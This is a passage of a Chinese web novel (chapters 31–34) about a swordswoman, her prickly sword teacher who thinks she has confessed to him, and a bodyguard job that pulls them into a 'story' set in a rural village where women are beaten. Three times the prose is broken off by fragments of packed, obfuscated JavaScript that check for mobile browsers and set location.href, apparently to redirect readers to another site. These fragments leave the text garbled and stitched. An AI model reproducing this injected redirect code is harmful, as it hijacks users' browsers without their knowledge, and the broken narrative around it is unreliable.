“比利回来之后我们讨论了很久呢,还专门询问了方室长。后来得出的结论是,当初比利被吸进UFO,完全是个意外,因为它在小鹤被吸进去的时候扒住了她的衣服,本来算作和小鹤为一体了,结果中途又掉下来了。” “所以之后才会又紧跟着来了一个别的飞碟,把比利吸走了?” 新志平猜出了新的UFO到来的原因。 林征说:“后来比利就被困在‘故事’里了,虽然当时那个故事有一群人在,但他们都失败了,比利不算人,所以也不能独自出去。直到小鹤也进入了同一个‘故事’,才算是能一起出来。” 新记明问:“那现在比利也算‘译者’了吗?之后还可能被吸进‘故事’里吗?” 林清原也不知道。 “它是被我牵连进UFO的,也是跟我一起出来的。说不定和我绑定了,之后还要和我一起进‘故事’。如果它能一直不进去就好了。等我下次进‘故事’了再看吧。” 新志平问林清原这次“故事”的情况,她就把故事梗概说给大家听了。 “二十年的选择,二十年的痛苦。二十年的贪婪,二十年的悔过。 苹果从身体内吐出,禁锢从身体外打破。 封印的力量随愤怒生长,复仇的腥风伴世界颠覆。 毁灭之后,才是新生。” 明娇分析道:“这个故事,是讲的复仇吗?” 林清原回忆起“故事”中见到的白雪公主的最后一面,眼神中流露出心疼。但她勾起了嘴角,面上满是赞赏与骄傲: “是的。但是,毁灭之后,才是新生。” 31. 爱情似风似雨 林家山坡某处。 林清原手握古剑,提臂上刺。汗水已经湿透了衣服,抬起的手臂也在微微颤抖,但是她的眼神还在紧盯着一处,每次剑刺都保证在这一点,分毫不差。 “速度慢了。肩膀打开,不要收着。” 新记明抱剑站在一旁,表情冷淡,吐出的话也冷冰冰的。监督练剑已经两个小时了,除了纠正训话以外,他就没有说过别的。 林清原提了口气,再度出剑。 新记明挽剑一挑,剑尖拍在林清原的手腕上,古剑当即脱手落地。 “行了,今天就到这吧。” 林清原终于松劲,她双手撑膝,弯下腰大口喘气。 新记明等她缓了一会儿,才递上一杯淡盐水。 林清原接过喝了一口,皱起眉头:“怎么还酸酸的?” 新记明:“哦,我加了柠檬。和盐一起是补充电解质的。” 他面上没什么表情,心里却早乐开了花。 [哈哈哈!虽然电解质水确实是这个做法,但是我足足加了一整个柠檬!酸死你!] 林清原被酸的龇牙咧嘴,但还是硬着头皮喝完了。 喝完之后,她麻着舌头将杯子递给了新记明,向他道谢:“谢谢小新老师。” 林清原这么有礼貌,搞得新记明又有些不好意思了。 他轻咳一声,说:“嗯,没事。今天练习的有进步。” 林清原听了,露出了一个灿烂的笑脸:“是吗!多亏了小新你的指导啊!” 新记明被林清原的笑容感染,忍不住也微微勾唇。但随即又挑眉:“怎么不叫‘老师’了?” 林清原拾起古剑,答:“这不是训练结束了嘛。该什么身份就叫什么身份,你当我老师,我就喊你老师。那你要是成为了我的人,我也会对应的换称呼嘛。” 新记明登时愣住。 成为了我的人。 成,为,了,我,的,人。 我,的,人。 [告告告……告白?!什么时候喜欢上的?!不对,这这……这对吗?] 林清原奇怪地看了开始莫名慌张的新记明一眼。 “你怎么了?” 新记明被吓了一跳,他连忙解释,舌头都打了结:“没……没屎!” 林清原沉默了一下,问:“你要拉屎吗?厕所在那边。” 新记明涨红了脸,气急败坏:“我不拉屎!不是,我说我没事!” 林清原很大度:“没关系的,是人都会拉屎。想去就随便去,自家地,不收费的。” [自家地?!谁跟你一家了啊!你这么迫不及待要和我一家了吗?!] 新记明彻底想歪了。他站在原地,去厕所也不是,不去也不是,纠结了好一会儿,才愤愤地朝厕所走去。 来都来了,上一个吧。 林清原无奈地摇摇头。 这孩子,想上厕所了还这么矜持。要不是她发现了,指不定要憋到什么时候呢。 等到林清原都休息好了,古剑装好了,新记明才从厕所出来。 新记明不是真的人有三急,他只是进去之后就后悔了。 刚才被林清原那么一刺激,搞得他脑袋发蒙,进了厕所才发现自己没什么太大感觉。匆匆解决了一下,洗了手,他就开始对着镜子发呆。 他知道自己很帅。 废话,就算自己对自己的长相没意识,平时见到其他人,听到其他人的评价也能差不多知道自己的长相水平。 最起码,他长了一张大众意义上的帅脸。 上学期间也有人追过他,但他一直醉心武学,看谁都很平淡,完全没有过心动的感觉。 除了一个人。 林清原。 仅仅只是想到这个名字,他的心里就鼓鼓胀胀的,似乎连心跳声都变大了几分。 新记明抓住胸口,咬牙切齿:“林清原!你小时候对我做过的事,我一辈子也不会忘记!” 自小时候一别,他和林清原有十多年没有见面,但这不代表他不知道林清原的情况。 说好听点,叫“关注”,说不好听点,叫“监视”。 新记明随时都在搜集着林清原的资料,她上了什么学、上的哪个班、考试成绩如何、长高了多少、样子变了多少,他都知道。有些是打听来的,有些是自己亲自调查的。 不为别的,就为了报仇。 在小时候那一场“耻辱之战”后,他就立誓要在之后讨回来,让林清原亲口承认她输了!可惜直到上次两家在飞研办会面,他也一直没找到机会再见林清原,更别提比试了。 这也是当时开会的时候,新记明能一眼认出来长大后的林清原的原因。 见到林清原的那一瞬间,新记明的心就开始剧烈跳动,气血都涌上了脑子。 林清原比照片中要鲜活许多,也……漂亮许多。 当然人还是一如既往的气人! 而且最让他生气的是,她似乎不记得小时候的那场“耻辱之战”了。 新记明冷笑。 也是,对于他来说是“耻辱”的,但是对于林清原来说,估计只是一场普通的胜利罢了,那么他这个手下败将,自然也不会被记住。 不过没关系,他会让她记住的,会让她彻底记住,彻底臣服,让新记明这个名字、让他这个人,彻底占据林清原的心和脑袋! 在之后的几次接触中,新记明逐渐加深了对林清原的理解,也数次更新了“复仇资料”,针对她这个人,制定了越来越详细的“围剿计划”,誓要在方方面面都让她认输。 因此,新记明没有同意林清原的邀请,加入进她的万事屋。 虽然从合作方面来看,确实加入万事屋一起行动是更为稳妥且快速的,但是他心里的那股傲气,让他不能轻易答应。 而这一系列的复仇计划,在经过这么久的运作后,终于有了起色——他成为了林清原的剑术老师。 林清原在上次见面后,就给新记明讲了“古剑”的情况,并提出希望他当自己的老师,教她学剑。 虽然这和他预想的“复仇”有些偏离,但是有进步就是有希望! 看着林清原规规矩矩地叫着“老师”,新记明心里别提有多美了。 只是他还要维持着面上的严肃,不能让林清原看穿他心里的想法,不然他的“老师威严”就荡然无存了。 本来一切都在按计划进行,结果今天林清原说的那番话,一下子动摇了新记明的心。 新记明盯着镜子中的自己,不可置信:“林清原喜欢我?什么时候的事?” 他找不到原因,但是他越想越多,越想越乱,并逐渐把自己说服了。 他并不看恋爱剧一类的东西,但是他妈妈明娇看。 明娇为什么看呢,因为林清原的妈妈吕熙音喜欢看,看的时候还总喜欢给明娇安利,拉着她一起追剧,所以新记明这么多年,就在断断续续的“恋爱剧”的熏陶中成长。 有一句话,他印象非常深刻。 爱情就像龙卷风,来的时候轰轰烈烈,把心搅的乱七八糟,然后下了一波又一波的雨,让整个世界都染上了你的痕迹。 这句话明娇有段时间总是念叨,把新记明搞烦了,去找他爸抱怨,结果被新志平嘲笑了。 “你还没开窍,听不懂也正常。这是你妈在向我表白呢,她说爱情突如其来的占据了她的心,她想让我填满她整个生活呢。” 说完,新志平就乐呵呵的找老婆亲热去了。 新记明看着自家老爸得意的背影,也狠狠嘲笑了一番。他虽然听不太懂这句话是什么意思,但是他知道,明娇会说这句话,纯粹是因为她的好闺蜜吕熙音爱上这句话了,学给她说的。 许多年过去,新记明没再听过这句话,这句话也早被封在了记忆深处。 然而今天,这句话像是沉寂已久的种子,突然见到了阳光,迅速破开了土地,加速发芽,伸展出了枝叶,肆意宣扬着自己的存在感。 新记明一下子就理解了这句话的意思。 “原来,爱情就是突如其来的。”他喃喃,“怪不得林清原对我的喜欢表现的这么突兀……” 他想起了在飞研办开会时,见到的林家的“爱说情话”的“家风”,自认为理解了一切。 “林家家风如此,他们的人就是很胆大。林清原今天的突然告白,也确实很符合她的性格。” 新记明整理了下衣服和头发,脸上露出了一个帅气的笑容。 他走出厕所,见到的就是正在练功地乖乖等着的林清原。 新记明第一次这么认真地观察林清原的脸。 不得不承认,林清原就是很漂亮,眼睛、鼻子、嘴巴,每一处都很符合他的审美。 想起她大胆的告白,新记明原本缓下来的心跳再度加快,眼神也逐渐带上了他自己都没察觉到的火热。 林清原被新记明看得浑身刺挠。她不知道怎么这家伙上了一趟厕所就变得更奇怪了,一直盯着自己。 她摸了摸自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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新记明轻咳一声,决定小小的坚持一下自己的复仇原则:“只是暂时加入罢了,我还没有正式同意。” 林清原飞速摆弄着手机,头也不抬:“好说好说,有你这个强力帮手加入,之后行动肯定更有把握。” 操作完,林清原心里别提多得意了。她打量着新记明,越看越满意。 都已经暂时加入万事屋了,离正式加入还远吗?等这家伙彻底成了万事屋的成员,成了她的人,之后岂不是就有活招牌了?林家是在大众视野中低调一些,但是新家可不是啊!有新家少掌门的形象在,还愁以后拉不到委托吗? 新记明被林清原盯得不好意思,他垂下眼,想说些什么,被手机震动打断了思绪。 是万事屋的群聊。 【万事屋好评如潮】 【平心静气】?新加入的成员吗? 【仙贝真好吃】你好呀@大青原 新记明敲下回复:大家好,我是新记明,暂时加入万事屋行动。 不过他的这句话没有发出去,因为成柳发了新的消息。 【平心静气】大青原?怎么觉得有点谐音的样子。 【仙贝真好吃】什么谐音? 新记明心里一惊,他赶紧把自我介绍发了出去,希望能阻断一下成柳要说的话。 他知道成柳,成柳以前还在官方队伍里的时候就见过他,由于新家的名气和地位,成柳对他这个少掌门也比较客气,虽然没有因为UFO的事情有过交流,但是也算打过几次照面。 只可惜,他的话还是发晚了。 成柳的新消息几乎同时发出来了。 【平心静气】大青原,打清原嘛。老大的名字挺好听的,感觉谐音也挺少见的。哈哈。 这条消息在发出来两秒后被默默撤回了。 过了一会儿,成柳对新记明表达了热情的欢迎。 【平心静气】新家少掌门好!欢迎你暂时加入万事屋!!! 新记明悄悄看了眼林清原的脸色。 林清原显然也看到了成柳撤回的话。她似笑非笑。 “哦?原来你的网名还能这么解释啊?” 新记明赶忙堆起笑容:“哎呀,我以前去过大草原,青青的绿绿的可好看了,就随便起了个名字。既然有歧义,那我就换掉吧。” 他飞速地把自己的网名改成了真名。 [完蛋了!成柳这家伙怎么一猜就猜到了我名字的意思!谐音这么明显吗!可恶,不能被抓包,死手,快改啊!] 改完名字的新记明又扯起了一个虚弱的笑脸:“那个,没事的话,我先回去了啊。” 林清原点点头:“行。明天你早点来,咱们训练完之后,直接去新的委托人那。有新委托了。” 看着新记明萎靡的背影,林清原轻笑一声,掏出手机,把他的备注又修改了一下。 漆黑之子,改成了漆黑之子(打工版)。 32. 指名委托 新的委托人是个富商。据成柳查到的资料,他是做食品贸易的,在省内小有名气。父母已经去世,不过家中还有几个兄弟姐妹。 随着万事屋的名气越来越大,万事屋逐渐收到了“指名委托”,也就是“指定向万事屋发起的委托”。 这类委托成柳从来没接过。 而这次富商的委托就是“指名委托”,也是成柳选择代表万事屋接下的第一个“指名委托”。 林清原问了原因,成柳回答:“给的钱多。” 成柳也很无奈:“咱们现在不是官方队伍,就没有官方拨款补助,干什么都要自掏腰包。收集信息、打出名气是一回事,挣经费也是很有必要的。” 总之,在经过综合调查和考量后,成柳选中了这个富商的委托。 富商名为刘栋海,发布的委托内容是“护卫”。 据他所说,他除了第一次进“故事”里是没办法找护卫以外,之后的每一次进入,都是接了“护卫委托”的人陪他一起过的。 这次也一样,从上一个“故事”里出来,就照例发了“护卫委托”,并且向目前讨论度最高的“万事屋”发去了邀请。直到现在,已经过去十多天了,估摸着时间也差不多了,他本来打算再等到明天,万事屋还不接受的话,就转向其他的独立护卫人。 好在万事屋最终接受了。他也能一睹万事屋的本事了。 刘栋海约的地方是个饭店。 林清原等人过去时,刘栋海就在饭店门口等着。 见到从车上下来的几人,刘栋海一眼就认出来了。 虽然之前没和万事屋打过照面,但是他见过新记明。 新记明可是国内著名的武学世家新家的独子,未来的新家掌门人,不仅人长得俊俏、上学成绩优异,凌雪剑法也是一等一的好。好多次在酒会上远远见过,想去攀下关系,但是一直都轮不上趟。这次骤然一见,还是在约好的时间,带着其他几个人一起来到和万事屋约好的地方,很明显就是万事屋的领头人啊! 刘栋海热情地迎了上去。 “新少掌门!哎呀,万万没想到万事屋是您手底下的!我是刘栋海,上次沈家的聚会咱们还见过面!您能接下我的委托,真的是令我非常感动啊!” 新记明看了一眼刘栋海伸出的双手,没理会,偏头点了点林清原,说:“这才是万事屋老大。” 刘栋海这才把目光转向林清原。 林清原的气质也很吸引人,但是刘栋海没见过这张脸,所以瞥了两眼就不关注了。 直到听到新记明说这女孩儿才是万事屋老大,他才仔细看了过去。 刘栋海越看,心中的疑虑就越重。 怎么这个女孩儿,看着有点眼熟? 他很确定以前没见过。生意场上混的,记脸是基本功。 但是明明没见过这女孩儿,又哪里来的熟悉感? 这种微妙的熟悉感让他提起了警惕。 刘栋海心思转了几回,面上却表现得规矩。 他自然地把手转向林清原,赔礼道歉:“哎呦,是我的不是了。我眼拙,没认出来万事屋的掌权人,该罚!希望您不要介意我的怠慢,给我一个赔礼的机会。不知您贵姓?怎么称呼?” 林清原听了想笑。 刘栋海这番话说的机灵,及时揽错,又借着办事的酒局赔礼,握手转的自然,还顺理成章地接了询问姓名的话。就算对方想发火,也二两拨千斤地占了下风。 虽然林清原本人确实不怎么在大众面前露面,但是她爸林征可是一个货真价实的霸总,掌管着大型上市企业的那种霸总,这些寒暄和场面话老早就成了成长教育的一部分,平时懒得招呼是一回事,真应对了又是另一回事。 在对刘栋海这个人有了个初步评估后,她伸出了手,轻轻回握了一下就松开了。 “客气了。免贵姓林,叫我林总就行。” 刘栋海从善如流地引着几人进入包间。 等待菜上齐的时候,刘栋海给每个人都过了介绍,还新点了几种饮料,力求照顾到年轻人的口味。 闲聊了一会儿,刘栋海巧妙地切入了话题: “林总,一直瞧着您熟悉,您家是不是‘征途’公司?” 林清原不意外刘栋海猜到了。能让新记明认老大的人,大概率也是同一个圈子里的。如果算上财力、名气和武力,再加上“林”这个姓,那能想到林征的企业也是正常的。 确认了林清原的身份,刘栋海夸起万事屋来更是不遗余力,把在场的每个人都夸的天上有地下无的。 没经历过这种场合的白仙贝安静当个透明人,菜上了就闷头吃菜,权当是来吃自助餐了。 新记明面对陌生人一向比较冷淡,尤其他现在内心还不承认自己是正式的万事屋成员,对委托的话题也就几乎不参与。 而成柳呢,虽然前期的信息筛选和委托确认都是他沟通的,但是现在委托人本人的交流意愿更高,他也就只在一些需要明确的地方才会插话。 所以一顿饭下来,和刘栋海“交谈甚欢”的只有林清原。 新记明看着林清原游刃有余地接下了刘栋海的客套,又轻轻松松地挡下了他对万事屋的猜测和试探,心中对她的评价又更新了。 [还以为林清原只是个会练武的傻子呢!没想到这些场面话也说的一套一套的。此女不容小觑!复仇计划要更周密才行……] 吃完饭,林清原谢绝了刘栋海要送他们回去的请求,和他约好明天八点起开始护卫委托后,就和同伴们一起坐上了车。 过来的时候是林清原开的车,回去的时候也是她开。 新记明坐在副驾驶上,总是时不时扭头盯着林清原看,不知在想些什么。 这一幕不仅林清原注意到了,后座的白仙贝和成柳也注意到了。 他俩对视一眼,都从彼此的眼神中看出了对八卦的好奇心。 于是,私聊启动! 后座的两人聊的火热,而前座的林清原,在新记明又一次看来的时候,终于忍不住了,调笑道:“你总看我干什么?是我多长了个耳朵,还是你觉得我太漂亮,不小心看入迷了?” 后座二人的信息叮咚声疯了般响起。 新记明瞪了林清原一眼:“自作多情!”然后他就把脸扭向了窗外。 林清原透过车内镜看到了后座两人的又激动又猥琐的表情,于是起了个坏心思。 她问新记明:“小新,你很热吗?耳朵都红透了。”没等新记明嘴硬,她就把话题转向了其余二人。“如果你静不下心,可以问问贝贝和成柳有没有什么好办法,他俩可是盯着你聊了好一会儿了。” 后座的信息接收声一下子停了。 新记明扭头,看到的就是成柳在横拿着手机打游戏,而白仙贝则是戴着耳机,手指划动,一副刷视频的样子。 新记明的眼神太过强烈,装模作样的两人有些装不下去了,他们纷纷抬头,一脸无辜地问: “嗯?有什么事吗?” “到家了吗?” 新记明抿了抿嘴,不知道说些什么,最后只能憋出来一句解释: “我不喜欢林清原!” 说完,他又看向林清原,想重复一遍:“我不喜……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864283|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正巧这时候林清原也扭头看他了。 新记明看着林清原的眼睛,剩下的几个字硬是说不出来了,气呼呼地改口: “我没说我喜欢你!” 接着就抱臂往后一靠,闭上了眼睛,坚决屏蔽外界的干扰。 林清原差点憋不住笑:“我没说你喜欢我啊?” 新记明的眼皮抖了几抖,最终还是装作没听到,就是不睁开。 后座的两人再次开启疯狂私聊模式。 不过这回他们长记性了,都把静音打开了。 “护卫委托”和一般的委托不太一样,在委托人进入下一次“故事”前,需要受托人一直跟着,以便遇到UFO后及时跟随进入。 由于有“译者”在的情况下,UFO的“吸人”时限会延长一小时,所以刘栋海身边并不是时刻跟着万事屋全体成员,而是轮休制,每8个小时换一次人。而刘栋海也只在他家附近活动,保证其余没有当值的人,可以在接到通知后的半小时内赶到。 就这么过了两天,刘栋海提出了新的要求。 “扫墓?” 刘栋海点头。“明天就是我父母的忌日了,他们在乡下,明天再赶过去不方便,所以每年我都是提前一天去。” 尽管是特殊时期,但是人们的正常生活该过还是得过。 考虑到安全问题,林清原决定万事屋的全体成员跟着刘栋海一起去。 听刘栋海说,他老家的环境还是挺不错的,还曾经开展过“旅游村”项目,虽然最后因为项目资金不足而没办下去,但是好歹有了一些便民设施,不至于是个不方便来往的穷乡僻壤。 因此这次全体出行,也勉强算是一次小郊游了。 在经过了三个多小时的车程后,刘栋海的老家到了。 刘栋海刚把车停好,就有人走过来了。 是个年纪挺大的男人,黑黑的脸,皱皱的皮,操着一口乡音。 “大海,又来看你爹娘了?” “二姑丈。” 刘栋海和男人聊了一会儿。 老男人把目光看向林清原和白仙贝:“好靓的女娃啊,你们嫁人了没?” 刘栋海把老男人推走:“行了,二姑丈,天都黑了,该回去吃饭就吃饭了。” 二姑丈笑了一下:“等会到我家吃饭啊,你姑知道你回来了该可高兴了。” 刘栋海应了,然而等二姑丈走了,他却带着几人去了另一边的民宿。 民宿的样子还保存的不错,但是内里却是灰尘遍地。 刘栋海有些尴尬:“我在老家没房子了,这民宿是我以前开的,后来项目没了,这也荒了,但是房间多,住宿环境也还可以。就是需要打扫一下。” 林清原等人并不介意。反正只在这里住一晚,合力扫了三个房间,就住下了。 在几人打扫房间的时候,刘栋海的几个亲戚过来看了看,带了些饭菜。 刘栋海没告诉其他人林清原几人的身份,只说是朋友,顺路过来陪着祭奠一下。 亲戚们表现的挺热络的,尤其喜欢林清原和白仙贝这两个女孩子,拉着她俩看了又看。而新记明、成柳这两个男的,则明显有些落差。 至于比利,更是“查无此狗”了。 这种态度引起了林清原的注意,但是她并没有明说,只是默默记在了心里。 入夜后,村子里变得极其安静,连风声都没有了。 好在民宿内还是通电的,大家玩着手机,也不觉得害怕。 只是事情果然不会一直顺利。 在夜更深的时候,UFO来了。 33. 祭拜 林清原是被冻醒的。 她刚睡着。 熬夜一时爽,越熬越上头。终于最后熬到眼睛都睁不开了,放下手机就睡了。 结果美梦还没做起来,就被冻醒了。 被冻醒的林清原还很懵,她发现自己身上盖着的被子没了,房间门也在大开着,冷风正“呼呼”地刮进来。 林清原下床,走到房门旁,伸手去关门,但是不论怎么使劲都晃不动。 冷风把她刮的一激灵。 林清原回头望向白仙贝睡着的床,想看看她的情况,却只看到了一个空的床。 “贝贝?” 她的脑袋逐渐清醒。 她摸了摸白仙贝的床,是凉的。上面同样没有被子。 难道是出去了? 林清原盯着关不上的门,开始怀疑自己进入了“故事”。 就在这时,她的手机响了。 林清原松了一口气,去床边拿起手机,看是什么消息。 是新记明发的。 “你在哪?” 林清原刚准备回复,就见到新记明出现在了门口。 院子里有常亮夜灯,新记明背光而站,影子穿过敞开的门,投在地上,看不清表情,猛地一看还有些吓人。 “你在这儿。” 林清原退出聊天。本人都在这儿了,消息也没必要回复了。 “什么情况?”她问。 新记明答:“进‘故事’了。” 林清原叹了口气。 “还是进来了啊。我刚睡着呢。”她打了个大大的哈欠。 新记明浅笑了一下。 “谁让你熬夜的。习武之人本来就该早睡。还撑得住吗?” 林清原伸了伸胳膊腿,原地蹦了几下。 “没问题。精神百倍!” 她从枕头底下拿出古剑,朝新记明走去,边走边问:“其他人呢?” 新记明和她并肩下楼。 “这次只进来咱们两个。” “怪不得。”林清原问,“你手机呢?也带进来了?” 新记明点头:“我还是第一次遇到能带手机进来的情况。检查了一下好像也没问题。” “那还挺好,虽然不知道什么原因,但是手机能带进来,互相联系就方便的多了。” 下到一楼,就见到了在客厅中焦急等待的刘栋海。 刘栋海露出了一个苦笑。 “只有你们两个吗?” 刘栋海是一个人睡,他醒来的时候慌极了,出来就碰到了也刚醒的新记明。询问了一下情况,确定是在睡梦中被吸进“故事”里了。 新记明要上楼看看女生的情况,刘栋海本来也想跟着的,结果灯突然灭了,把他吓得也不敢乱跑了,就待在了一楼客厅,等着新记明回来。 林清原按了按电灯开关,没反应。 她看向院子里还在亮着的夜灯,问:“检查过电路了吗?院子里怎么还在亮着?” 刘栋海摇了摇头:“院子里的灯是装电池的。没敢出去看,可能是跳闸了,或者线烧了。毕竟这个民宿已经很久没用过了。” 林清原看了一眼天色,离天亮还早。 “你有什么头绪吗?”她问。 刘栋海推脱:“我怎么会有头绪呢?我什么都不知道啊。”他小心地观察着二人的脸色。“您们二位不会离我太远吧,我开的是‘护卫委托’。” 新记明没有林清原那么好说话。 “记得。但是这也需要你的配合,毕竟最终目的是要离开这个‘故事’,找不到出去的办法,把你保护得再好,等着的也只是死路一条。” 林清原说:“这次的范围正好是你的老家,你肯定比我们俩熟悉,你如果能想到什么传闻或者传说,那分析起来就更快了。” 刘栋海哭丧着脸,正准备说话,就听到有人拍门。 咣咣咣,门被拍的落了几层飞灰。 刘栋海抖了一抖。 “谁……谁?” “哎呦,大海?你在吗?是你吗?” 门外传来一个女人的声音。 “好像是我三舅的小姨子。” 门打开,确实是刘栋海的外姨婆。 女人见有人开门,一下子激动地拉住了刘栋海的手。 “大海,这是怎么回事啊?怎么一下子人都不见了?” 刘栋海尴尬的笑了笑,不好说是因为自己的缘故吸引来了UFO,就撒谎说这是他带来的新产品,这都是梦。 外姨婆没有文化,她赞叹道:“大海真是出息了,这东西能挣很多钱吧?” 刘栋海让她保密,说这是还在开发中的产品。 外姨婆笑着拉上林清原的手:“这小姑娘真的漂亮,个子也高,生的小孩肯定也个子高!大海,你年纪不小了,该……” 刘栋海赶紧扯开女人的手:“这是真人,不是假的!咱们都是真的!” 女人悻悻地看了新记明一眼,显然误会了什么:“哦,她是你的女人是吧。”她咂了下嘴,倒是没再多说。 刘栋海连忙向林清原道歉,生怕惹了对方不高兴。 林清原不在意地点头。她有话要问女人:“你听说过什么传闻吗?或者最近村里都在聊些什么话题?” 外姨婆谈起这些话题就眉开眼笑,讲了哪家男人觉得哪家女人的屁股大、哪家女人刚生了娃、哪家男人喝醉了半夜跑河边撒尿,结果撞上了正在偷情的谁谁……净是些家长里短的事。 看女人讲故事的兴奋劲,加上她时不时的夸张说法,大概率这些事例也添油加醋了不少。 刘栋海拦女人拦不住,就绷起了脸,厉声道:“这些都是城市里的贵客!你讲这些烂事丢不丢人!” 女人一下熄声了。她讨好地笑了笑:“哎呦,这不是小姑娘问的,我这才说的嘛。” 刘栋海的脸还是臭着:“什么小姑娘,你要叫林总。这位叫新总。” “哦!总!我知道的,总灾嘛!最近小短剧可多这样的了,手机上天天给我推呢。” 刘栋海有一点惊讶:“你有手机了?” 女人笑着:“是呀。我年头才生了有宗,我男人就给我买了,每天看一会儿,还真好看呢!” “有宗?” 女人得意地向林清原解释:“儿子!” 刘栋海面色稍缓:“挺好的,生了有宗家里就有指望了。”他看了林清原和新记明一眼,堆起笑脸,说:“您们别介意,我外姨婆没读过书,脑子也……”他指了指脑袋,又摆了摆手。 女人夸张地笑起来。 “我脑子有病!大家都知道!反正我不跑,嫁过来就嫁过来了!” 刘栋海问:“那现在咱们怎么办?” 林清原打了个哈欠:“要不然去睡觉。” 新记明问女人:“你怎么知道我们这有人?” 女人指了指灯:“就这里亮了。我一路上拍了好多家的门,可是都没灯,也没人。” 林清原看向新记明,却看到后者的眼睛正盯着门外黑暗中的一处。 她跟着看过去,没看见什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881468|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么了?” 刘栋海被这氛围带的紧张起来,他制住了外姨婆的声音,等着新记明的回答。 “有人来了。很多人。” 在几人严肃的目光中,来人渐渐走近。 出乎意料的,为首的是刘栋海的二姑丈,他身后跟了一群人,有男有女,有中年也有老年。 “二姑丈?” 刘栋海正搞不懂为什么自己二姑丈也出现在这里了,就听林清原问: “你二姑丈今年多大年纪了?” “六十多了……” 外姨婆憨笑着接话:“我都要三十了。” 林清原有点意外。 外姨婆的脸看上去可不像是二十多岁的人,她脸上很多皱纹,手也粗大,还有些驼背,林清原以为她是四十岁左右。 新记明问刘栋海:“你二姑丈身后的那些人你都认识吗?都超过四十岁了吗?” 刘栋海借着院子里的光大致认了下。 “差不多都认识,都是村里人。早就过四十岁了。” 外姨婆笑了:“村里哪里还有年轻人哦,小孩倒是还有些。” 林清原问她:“你不也是年轻人吗?你才二十多岁。” 外姨婆听了很高兴:“哎呦,我也是年轻的,哈哈哈……呜呜……” 不知怎么的,她突然哭了起来。 眼泪从皱起的眼睛里掉出来,铺在干裂的脸上。 二姑丈拍了拍手里的篮子,从里面飞出来几张白色碎片。 “别愣着了,快换上衣服过来,误了吉时,还怎么祭拜?” “祭拜?拜谁?” 刘栋海慌了。他从没听说过有这种事。虽然他是为了扫父母的墓而来,但是平常也都是各家拜各家,更不会大半夜的来一群人说一起去祭拜。 二姑丈身后走出来一个男人,长得五大三粗,脑袋快有肩膀那么宽了,他说的话乡音更重:“大祭拜啊!你怎么会不记得?!” 林清原眼看局面有些失控,就站了出来。 她抱起手拱了拱:“我今天刚来这里,刘栋海也是想多给我介绍一下村里的活动。” 好在村里人还知道林清原和新记明是今天刚到的,也就放过了对刘栋海的质问,转而向这两个外乡人解释“大祭拜”的事。 原来大祭拜,就是全村人一起去墓地祭拜,拜所有人。 刘栋海意识到自己差点露馅了,惊出一身汗,被冷风一吹,更是冻得心都凉了。 “大祭拜嘛,我没说吗?最近村里可热闹了,说要抽时间一起去给所有人拜一拜,可以变富,还可以生更多儿子啊!” 外姨婆竟然知道这件事。可她刚开始并没有讲,可能是忘了。 新记明扫了一眼,走上前,却又被拦了下来。 “衣服都没换,不能过来!回屋去,衣服早就被放在了屋里。” 刘栋海咽了下口水,不敢回屋。 新记明走到屋内,查看了一圈,出来的时候手上拿着一个打开的盒子,盒子里放着一套白色的套装。 “应该是这个。” 他又去刘栋海睡的屋子里看了看,同样发现了衣服。 于是几人就各回各屋,换衣服。 外姨婆没地方去,就跟在林清原后面。 临上楼的时候,新记明喊住了林清原:“有事出声。” 林清原随意点了下头,眉毛一挑,勾起了嘴角。 分明在说:我可是很强的。 新记明心里一跳,他屏了下呼吸,转身进了屋。 34. 大坟 林清原睡的屋子的门还是关不上,所幸房间外面还隔了条走廊,所以在敞开的屋里换衣服倒也没事。 林清原在屋里找了找,从衣柜里拿出了两个盒子,外观和之前新记明拿出来的盒子一样,里面装的衣服样式也是一样的。 两个盒子,是两套衣服。 林清原看了刘栋海的外姨婆一眼,问:“你是从你屋里过来的吗?有衣服吗?” “是啊。”外姨婆不客气地在林清原的床头坐下。“黑咕隆咚的,吓死人了。哪里找衣服了。” 林清原翻了翻衣服的码子,把大了两号的那盒递给女人。 女人喜滋滋地接过,抚摸着料子,话语满是欢喜:“新衣服咧。” 林清原边把裤子套在自己原本的裤子外面,边问:“你平常什么时候买新衣服?” 女人把身上的旧衣服脱下,露出了下垂又遍布疤痕的身体。 “我衣服都是我男人讨来的,这回生了有宗,他娘专门给我缝了一件新的呢。” 林清原的眉头紧紧皱着:“你身上的疤怎么回事?” 女人说的轻描淡写:“我男人打的。” “他怎么能打你?!” “为啥不能打?”女人奇怪地问。“我不听话,要跑,他可不就是要打我?” 看着女人耷拉的层叠肚皮,和她身上一道一道的伤疤,林清原觉得一股怒气直冲头顶。 “你这么重的伤,就没有人管吗?” 女人把衣服穿好,咧开嘴笑了:“只要不跑,就不打了呀。挨打算啥,我没见过有哪个女人不被打的。” 林清原的眉头皱得更深:“你的意思是,你们村里的女人都一直被打?” 女人扬了扬脖子,表情神秘:“女人嫁了人都会被打的。你还没嫁人吧,嫁了就知道咯。不过你家男人长得好看,你长得也好看,你乖乖听话,不想着跑,他肯定舍不得打你。” 林清原没有纠正女人对于她和新记明的关系的误会,而是问道:“你叫什么名字?跑是要跑哪去?” 